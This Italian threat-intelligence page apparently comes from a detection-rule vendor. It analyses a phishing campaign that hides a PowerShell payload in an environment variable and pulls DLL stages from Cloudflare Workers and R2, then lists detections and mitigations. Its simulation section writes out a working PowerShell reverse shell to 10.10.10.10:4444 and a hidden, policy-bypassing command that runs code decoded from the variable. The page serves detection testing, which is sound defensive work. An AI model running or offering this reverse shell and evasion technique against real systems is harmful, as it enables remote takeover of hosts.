Il Malvagio Sfondo MSI Ritorna
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Un’email di phishing che trasporta un link WeTransfer consegna un file JavaScript che memorizza un payload offuscato all’interno di una variabile di ambiente. Quel payload viene successivamente decodificato ed eseguito tramite PowerShell avviato tramite WMI, che scarica un’immagine JPEG in stile MSI malevola e una DLL .NET da Cloudflare Workers e R2 storage. La DLL è una build modificata di Microsoft.Win32.TaskScheduler utilizzata per caricare payload successivi e possibilmente creare persistenza tramite attività pianificate. La campagna evidenzia come gli attori della minaccia continuino ad abusare dei servizi cloud legittimi per ospitare e distribuire componenti malevoli.
Indagine
L’analista ha identificato un file JavaScript iniziale chiamato Remittance Advice.js contenente codice offuscato ROT13 che crea la variabile di ambiente INTERNAL_DB_CACHE . Successivamente, PowerShell viene avviato in una finestra nascosta tramite WMI ed esegue il blocco di script decodificato. Quel script riceve un file JPEG da un sottodominio workers.dev e un file PNG da un bucket pubblico r2.dev , entrambi probabilmente utilizzati per trasportare payload aggiuntivi attraverso metodi steganografici. Il componente di ultima fase è una DLL .NET derivata dalla libreria open-source TaskScheduler.
Mitigazione
Le organizzazioni dovrebbero bloccare l’accesso a domini noti malevoli come we.tl, workers.dev, e r2.dev al livello del firewall o proxy. L’esecuzione di PowerShell e la creazione di processi basati su WMI dovrebbe essere limitata per utenti non affidabili ove possibile. I difensori dovrebbero anche monitorare per l’esecuzione nascosta di PowerShell, l’abuso del metodo Win32_Process.Create , e variabili di ambiente insolite come INTERNAL_DB_CACHE. I file scaricati dai cloud storage pubblici dovrebbero essere sottoposti a rigorosa validazione e ispezione.
Risposta
I team di sicurezza dovrebbero avvisare quando PowerShell viene avviato con una finestra nascosta tramite WMI e quando la variabile INTERNAL_DB_CACHE viene creata o modificata. Qualsiasi processo che si connette agli URL identificati o scarica contenuto da workers.dev or r2.dev dovrebbe essere immediatamente indagato. L’analisi forense dovrebbe concentrarsi sulla localizzazione della DLL .NET malevola e sull’identificazione delle attività pianificate di nuova creazione che si affidano alla libreria TaskScheduler. Gli host interessati dovrebbero essere sistemati prontamente, e il contenuto di rilevamento aggiornato con gli indicatori osservati.
Flusso di Attacco
Rilevamenti
La Possibilità di Esecuzione Tramite Linee di Comando PowerShell Nascoste (via cmdline)
Visualizza
LOLBAS WScript / CScript (via creatione_di_processi)
Visualizza
Possibile Abuso del Dominio di Sviluppo Cloudflare (via dns)
Visualizza
Esecuzione di PowerShell con Variabili di Ambiente con Payload Codificati [Windows Powershell]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo di Prevolo di Telemetria & Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica del nemico (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa & Comandi di Attacco:
L’attaccante inietta inizialmente un payload PowerShell codificato base64 in una variabile di ambiente a livello di processo chiamataINTERNAL_DB_CACHE. Questo payload, una volta decodificato, avvia una shell inversa. L’attaccante invoca quindi un secondo processo PowerShell che legge la variabile e lo esegue tramiteScriptBlock::Create, tenendo così il comando malevolo fuori dalla linea di comando immediata. Questo approccio “vivi della terra” evita il rilevamento delle firme statiche e sfrutta il modello in due fasi che la regola è progettata per catturare.-
Fase 1 – Codifica il payload e memorizzalo nella variabile env
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
Fase 2 – Esegui il payload codificato dalla variabile env
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
Script di Test di Regressione: Lo script di seguito automatizza i due passaggi, cattura i timestamp per la correlazione e inserisce una breve pausa per consentire al primo processo di finire prima che inizi il secondo.
# ---------------------------------------------- # Simulazione PowerShell di payload codificato con variabile env # ---------------------------------------------- # Passaggio 1 – Codifica un payload di shell inversa innocuo (sostituire con il tuo indirizzo C2) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # Piccolo payload benigno per test sicuri $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] Variabile di ambiente INTERNAL_DB_CACHE impostata." # Breve pausa per garantire che il primo comando sia registrato Start-Sleep -Seconds 2 # Passaggio 2 – Esegui il payload dalla variabile powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] Esecuzione di payload innescata." -
Comandi di Pulizia: Rimuovere la variabile di ambiente temporanea e terminare eventuali processi rimanenti creati durante il test.
# Rimuovere la variabile di ambiente di test [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] PULIZIA – INTERNAL_DB_CACHE rimosso." # Assicurarsi che non rimangano istanze orfane di powershell.exe (escludere la sessione corrente) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] PULIZIA – processi Powershell orfani terminati."